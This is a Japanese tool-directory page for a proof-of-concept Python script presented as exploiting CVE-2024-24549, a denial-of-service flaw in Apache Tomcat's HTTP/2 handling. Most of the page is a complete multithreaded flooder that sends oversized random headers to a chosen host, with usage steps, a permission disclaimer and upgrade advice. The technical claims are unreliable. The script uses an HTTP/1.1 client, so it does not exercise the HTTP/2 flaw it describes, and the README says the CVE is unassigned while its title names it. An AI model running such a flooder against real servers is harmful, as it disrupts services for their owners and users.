Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-24549 — CVE-2024-24549 の概念実証 Python スクリプト。サーバーリソースを枯渇させる特大ヘッダーを介した Apache Tomcat HTTP/2 サービス拒否を実証します。 | Kitploit
ツール/GitHubGitHub/abdurahmon3236/cve-2024-24549
脆弱性分析エクスプロイトウェブセキュリティペネトレーションテストレッドチーミング
GitHubabdurahmon3236/cve-2024-24549

CVE-2024-24549

CVE-2024-24549 の概念実証 Python スクリプト。サーバーリソースを枯渇させる特大ヘッダーを介した Apache Tomcat HTTP/2 サービス拒否を実証します。

リポジトリを見る
1022年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

ここに、Apache TomcatにおけるHTTP/2リクエストの不適切な入力検証によるサービス拒否(DoS)脆弱性を実証するProof of Concept(PoC)のREADME.mdを示します。


Apache Tomcatにおけるサービス拒否(DoS)脆弱性のProof of Concept(PoC)

このリポジトリには、Apache Tomcatのサービス拒否(DoS)脆弱性を実証するProof of Concept(PoC)スクリプトが含まれています。この脆弱性は、HTTP/2リクエストの不適切な入力検証に起因し、DoS状態を引き起こす可能性があります。

脆弱性の説明

CVE-ID:(未割り当て)

概要: Apache Tomcatバージョン11.0.0-M1から11.0.0-M16、10.1.0-M1から10.1.18、9.0.0-M1から9.0.85、8.5.0から8.5.98は、サービス拒否攻撃に対して脆弱です。この問題は、設定されたヘッダー制限を超えるHTTP/2リクエストを処理する際に発生します。すべてのヘッダーが処理されるまでHTTP/2ストリームがリセットされず、リソース枯渇につながる可能性があります。

影響を受けるバージョン:

  • Apache Tomcat 11.0.0-M1 ~ 11.0.0-M16
  • Apache Tomcat 10.1.0-M1 ~ 10.1.18
  • Apache Tomcat 9.0.0-M1 ~ 9.0.85
  • Apache Tomcat 8.5.0 ~ 8.5.98

緩和策:

  • Apache Tomcatバージョン11.0.0-M17、10.1.19、9.0.86、または8.5.99以降にアップグレードしてください。

PoCの詳細

このPoCスクリプトは、設定されたヘッダー制限を超えるHTTP/2リクエストを送信することで、DoS脆弱性を悪用する方法を示します。スクリプトは多数のリクエストを送信してサーバーのリソースを枯渇させます。

PoCスクリプト

root@kitploit:~
import http.client
import threading
import logging
import time
import random
import string
import argparse
import os

# Configuration defaults
DEFAULT_HOST = "target-server"
DEFAULT_PORT = 443
DEFAULT_NUM_REQUESTS = 1000
DEFAULT_CONCURRENT_THREADS = 10
DEFAULT_REQUEST_INTERVAL = 0.5
DEFAULT_LOG_FILE = "requests.log"

# Setup logging
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')

def random_string(length):
    """Generate a random string of fixed length."""
    letters = string.ascii_letters + string.digits
    return ''.join(random.choice(letters) for i in range(length))

def dynamic_payload():
    """Generate a dynamic payload for requests."""
    return random_string(random.randint(10, 100))

def send_request(conn, method, endpoint, headers, payload):
    """Send a single HTTP request."""
    conn.request(method, endpoint, body=payload, headers=headers)
    response = conn.getresponse()
    return response.status, response.reason

def send_dos_requests(host, port, num_requests, concurrent_threads, request_interval, log_file):
    def worker(thread_id):
        conn = None
        try:
            conn = http.client.HTTPSConnection(host, port, timeout=10)
            for i in range(num_requests // concurrent_threads):
                method = random.choice(["GET", "POST"])
                headers = {
                    "Content-Type": "application/x-www-form-urlencoded",
                    "X-Test-Header": random_string(65536)
                }
                payload = dynamic_payload() if method == "POST" else None
                status, reason = send_request(conn, method, "/", headers, payload)
                logging.info(f"Thread {thread_id} - Request {i + 1}: Status Code: {status}, Reason: {reason}")

                with open(log_file, "a") as logf:
                    logf.write(f"Thread {thread_id} - Request {i + 1}: Status Code: {status}, Reason: {reason}\n")

                time.sleep(request_interval)

        except Exception as e:
            logging.error(f"Thread {thread_id} - An error occurred: {e}")
        finally:
            if conn:
                conn.close()

    # Create and start threads
    threads = []
    for i in range(concurrent_threads):
        thread = threading.Thread(target=worker, args=(i + 1,))
        thread.start()
        threads.append(thread)
        time.sleep(0.1)

    for thread in threads:
        thread.join()

    logging.info("Completed sending requests")

def parse_args():
    """Parse command-line arguments."""
    parser = argparse.ArgumentParser(description="HTTP Request Flooder")
    parser.add_argument('--host', default=DEFAULT_HOST, help='Target server address')
    parser.add_argument('--port', type=int, default=DEFAULT_PORT, help='Target server port')
    parser.add_argument('--num-requests', type=int, default=DEFAULT_NUM_REQUESTS, help='Total number of requests to send')
    parser.add_argument('--concurrent-threads', type=int, default=DEFAULT_CONCURRENT_THREADS, help='Number of concurrent threads')
    parser.add_argument('--request-interval', type=float, default=DEFAULT_REQUEST_INTERVAL, help='Interval between requests')
    parser.add_argument('--log-file', default=DEFAULT_LOG_FILE, help='File to log request results')
    return parser.parse_args()

if __name__ == "__main__":
    args = parse_args()
    logging.info(f"Starting flooder with {args.num_requests} requests to {args.host}:{args.port} using {args.concurrent_threads} threads")
    send_dos_requests(
        host=args.host,
        port=args.port,
        num_requests=args.num_requests,
        concurrent_threads=args.concurrent_threads,
        request_interval=args.request_interval,
        log_file=args.log_file
    )

説明

  1. 設定: hostに対象サーバーのアドレス、portに適切なポート(通常HTTPSでは443)を設定します。num_requestsを調整して送信するリクエスト数を制御します。
  2. 接続の作成: スクリプトは対象サーバーへのHTTPS接続を確立します。
  3. ヘッダー: 大きなヘッダー値を使用して、設定されたヘッダー制限を超え、脆弱性を引き起こします。
  4. リクエストの送信: スクリプトは、過剰に大きなヘッダーを持つ複数のHTTP/2 POSTリクエストを対象サーバーに送信します。
  5. ステータスの表示: 各リクエストのステータスコードを表示し、影響を監視します。

重要な考慮事項

  • 許可: このテストを実行する前に、対象サーバーに対して明示的な許可を得ていることを確認してください。無許可のテストは違法であり、非倫理的です。
  • テスト環境: 本番サービスに支障をきたさないよう、管理された環境でテストを実施してください。
  • 倫理的な使用: このPoCは責任を持って、許可された状況でのみ使用してください。

緩和策

この脆弱性を緩和するには:

  1. Apache Tomcatのアップグレード: バージョン11.0.0-M17、10.1.19、9.0.86、または8.5.99以降に更新します。
  2. 設定の見直し: 大規模または悪意のあるHTTP/2リクエストをより効果的に処理できるようにサーバー設定を調整します。
  3. リソースの監視: DoS攻撃を示す異常なリクエストパターンを検出し対応するための監視を実装します。

Apache Tomcatのインストールのセキュリティ強化に関する詳細は、公式のApache Tomcatドキュメントを参照してください。


このREADME.mdは、脆弱性の概要、PoCスクリプト、および緩和手順を提供します。このPoCは責任を持って、明示的な許可を得たシステム上でのみ取り扱うようにしてください。

ツールをダウンロード